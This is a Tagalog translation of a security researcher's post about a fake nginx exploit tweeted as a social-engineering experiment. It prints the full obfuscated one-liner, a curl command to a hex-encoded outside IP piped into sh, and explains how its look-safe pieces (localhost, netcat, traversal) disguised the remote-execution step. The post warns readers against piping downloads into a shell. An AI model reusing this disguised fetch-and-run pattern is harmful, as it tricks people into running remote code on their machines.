Tagumpay ng isang social experiment na may pekeng nginx exploit

Tandaan. transl.: May-akda orihinal na tala, na inilathala noong Hunyo 1, ay nagpasya na magsagawa ng isang eksperimento sa mga interesado sa seguridad ng impormasyon. Upang gawin ito, naghanda siya ng isang pekeng pagsasamantala para sa isang hindi nabunyag na kahinaan sa web server at nai-post ito sa kanyang Twitter. Ang kanyang mga pagpapalagay - na agad na malantad ng mga espesyalista na makakakita ng halatang panlilinlang sa code - hindi lamang natupad... Lumampas sila sa lahat ng inaasahan, at sa kabilang direksyon: ang tweet ay nakatanggap ng malaking suporta mula sa maraming tao na hindi suriin ang nilalaman nito.

Tagumpay ng isang social experiment na may pekeng nginx exploit

TL;DR: Huwag gumamit ng pipelining ng file sa sh o bash sa anumang pagkakataon. Ito ay isang mahusay na paraan upang mawalan ng kontrol sa iyong computer.

Gusto kong ibahagi sa iyo ang isang maikling kuwento tungkol sa isang komiks na pagsasamantala sa PoC na nilikha noong ika-31 ng Mayo. Agad siyang nagpakita bilang tugon sa balita mula sa Alisa Esage Shevchenko, miyembro Inisyatibong Zero Day (ZDI), ang impormasyong iyon tungkol sa isang kahinaan sa NGINX na humahantong sa RCE (remote code execution) ay malapit nang ibunyag. Dahil ang NGINX ay nagpapagana sa maraming mga website, ang balita ay dapat na isang bomba. Ngunit dahil sa mga pagkaantala sa proseso ng "responsableng pagsisiwalat", ang mga detalye ng nangyari ay hindi alam - ito ay karaniwang pamamaraan ng ZDI.

Tagumpay ng isang social experiment na may pekeng nginx exploit
Tweet tungkol sa pagsisiwalat ng kahinaan sa NGINX

Nang matapos akong gumawa ng bagong obfuscation technique sa curl, sinipi ko ang orihinal na tweet at "nag-leak ng gumaganang PoC" na binubuo ng isang linya ng code na diumano'y nagsasamantala sa natuklasang kahinaan. Siyempre, ito ay ganap na walang kapararakan. Ipinapalagay ko na ako ay agad na malantad, at na sa pinakamahusay na ako ay makakakuha ng isang pares ng mga retweet (oh well).

Tagumpay ng isang social experiment na may pekeng nginx exploit
Tweet na may pekeng pagsasamantala

Gayunpaman, hindi ko maisip ang sumunod na nangyari. Lumakas ang kasikatan ng tweet ko. Nakakagulat, sa sandaling ito (15:00 Moscow oras Hunyo 1) ilang mga tao ang natanto na ito ay isang pekeng. Maraming tao ang nagre-retweet nito nang hindi ito sinusuri (pabayaan ang paghanga sa magagandang ASCII graphics na inilalabas nito).

Tagumpay ng isang social experiment na may pekeng nginx exploit
Tingnan mo lang kung gaano ito kaganda!

Bagama't ang lahat ng mga loop at kulay na ito ay mahusay, malinaw na ang mga tao ay kailangang magpatakbo ng code sa kanilang makina upang makita ang mga ito. Sa kabutihang-palad, gumagana ang mga browser sa parehong paraan, at kasama ang katotohanang hindi ko talaga gustong magkaroon ng legal na problema, ang code na nakabaon sa aking site ay gumagawa lamang ng mga echo call nang hindi sinusubukang mag-install o magsagawa ng anumang karagdagang code.

Maliit na digression: netspooky, ibig sabihin, ako at ang iba pang mga lalaki mula sa koponan Thugcrowd Matagal na kaming naglalaro ng iba't ibang paraan para i-obfuscate ang mga curl command dahil astig... at mga geeks kami. Natuklasan ng netspooky at dnz ang ilang mga bagong pamamaraan na tila napaka-promising sa akin. Sumali ako sa saya at sinubukan kong magdagdag ng mga IP decimal conversion sa bag ng mga trick. Lumalabas na ang IP ay maaari ding i-convert sa hexadecimal na format. Bukod dito, ang curl at karamihan sa iba pang mga tool ng NIX ay masayang kumakain ng hexadecimal IPs! Kaya ito ay isang bagay lamang ng paglikha ng isang nakakumbinsi at mukhang ligtas na command line. Sa huli ay naayos ko na ang isang ito:

curl -gsS https://127.0.0.1-OR-VICTIM-SERVER:443/../../../%00/nginx-handler?/usr/lib/nginx/modules/ngx_stream_module.so:127.0.0.1:80:/bin/sh%00<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc /dev/tcp/localhost

Socio-electronic engineering (SEE) - higit pa sa phishing

Ang kaligtasan at pagiging pamilyar ay isang pangunahing bahagi ng eksperimentong ito. Sa tingin ko sila ang naging dahilan ng kanyang tagumpay. Ang command line ay malinaw na nagpahiwatig ng seguridad sa pamamagitan ng pagtukoy sa "127.0.0.1" (ang kilalang localhost). Ang Localhost ay itinuturing na ligtas at ang data dito ay hindi umaalis sa iyong computer.

Ang pagiging pamilyar ay ang pangalawang mahalagang bahagi ng SEE ng eksperimento. Dahil ang target na madla ay pangunahing binubuo ng mga taong pamilyar sa mga pangunahing kaalaman sa seguridad ng computer, mahalagang lumikha ng code upang ang mga bahagi nito ay tila pamilyar at pamilyar (at samakatuwid ay ligtas). Ang paghiram ng mga elemento ng mga lumang konsepto ng pagsasamantala at pagsasama-sama ng mga ito sa hindi pangkaraniwang paraan ay napatunayang napakatagumpay.

Nasa ibaba ang isang detalyadong pagsusuri ng one-liner. Lahat ng nasa listahang ito ay isinusuot likas na kosmetiko, at halos walang kailangan para sa aktwal na operasyon nito.

Anong mga sangkap ang talagang kailangan? Ito -gsS, -O 0x0238f06a, |sh at ang web server mismo. Ang web server ay hindi naglalaman ng anumang malisyosong tagubilin, ngunit nagsilbi lamang ng ASCII graphics gamit ang mga command echo sa script na nakapaloob sa index.html. Kapag ang gumagamit ay nagpasok ng isang linya na may |sh nasa gitna, index.html na-load at naisakatuparan. Sa kabutihang palad, ang mga tagapag-alaga ng web server ay walang masamang intensyon.

  • ../../../%00 β€” kumakatawan sa paglampas sa direktoryo;
  • ngx_stream_module.so β€” landas sa isang random na module ng NGINX;
  • /bin/sh%00<'protocol:TCP' - naglulunsad daw kami /bin/sh sa target na makina at i-redirect ang output sa TCP channel;
  • -O 0x0238f06a#PLToffset - lihim na sangkap, dinagdagan #PLToffset, upang magmukhang isang memory offset kahit papaano ay nakapaloob sa PLT;
  • |sh; - isa pang mahalagang fragment. Kailangan naming i-redirect ang output sa sh/bash upang maisagawa ang code na nagmumula sa umaatakeng web server na matatagpuan sa 0x0238f06a (2.56.240.x);
  • nc /dev/tcp/localhost - isang dummy kung saan tinutukoy ang netcat /dev/tcp/localhostupang ang lahat ay mukhang ligtas muli. Sa katunayan, wala itong ginagawa at kasama sa linya para sa kagandahan.

Tinatapos nito ang pag-decode ng isang linyang script at ang pagtalakay sa mga aspeto ng "socio-electronic engineering" (masalimuot na phishing).

Configuration at Countermeasures ng Web Server

Dahil ang karamihan sa aking mga subscriber ay mga infosec/hacker, nagpasya akong gawing mas lumalaban ang web server sa mga ekspresyon ng "interes" sa kanilang bahagi, para lang may magawa ang mga lalaki (at magiging masaya na set up). Hindi ko ililista ang lahat ng mga pitfalls dito dahil nagpapatuloy pa rin ang eksperimento, ngunit narito ang ilang bagay na ginagawa ng server:

  • Aktibong sinusubaybayan ang mga pagtatangka sa pamamahagi sa ilang mga social network at pinapalitan ang iba't ibang mga thumbnail ng preview upang hikayatin ang user na mag-click sa link.
  • Nire-redirect ang Chrome/Mozilla/Safari/etc sa Thugcrowd promotional video sa halip na ipakita ang shell script.
  • Nanonood ng OBVIOUS na mga palatandaan ng panghihimasok/hayagang pag-hack, at pagkatapos ay magsisimulang mag-redirect ng mga kahilingan sa mga server ng NSA (ha!).
  • Nag-i-install ng Trojan, pati na rin ng BIOS rootkit, sa lahat ng computer na ang mga user ay bumisita sa host mula sa isang regular na browser (biro lang!).

Tagumpay ng isang social experiment na may pekeng nginx exploit
Isang maliit na bahagi ng antimer

Sa kasong ito, ang tanging layunin ko ay upang makabisado ang ilan sa mga tampok ng Apache - sa partikular, ang mga cool na panuntunan para sa pag-redirect ng mga kahilingan - at naisip ko: bakit hindi?

NGINX Exploit (Real!)

Mag-subscribe sa @alisaesage sa Twitter at sundan ang mahusay na gawain ng ZDI sa pagtugon sa mga tunay na kahinaan at pagsasamantala ng mga pagkakataon sa NGINX. Ang kanilang trabaho ay palaging nabighani sa akin at ako ay nagpapasalamat kay Alice para sa kanyang pasensya sa lahat ng mga pagbanggit at mga abiso na dulot ng aking hangal na tweet. Sa kabutihang palad, nakagawa rin ito ng ilang kabutihan: nakatulong ito sa pagpapataas ng kamalayan sa mga kahinaan ng NGINX, gayundin sa mga problemang dulot ng pang-aabuso sa curl.

Pinagmulan: www.habr.com

Magdagdag ng komento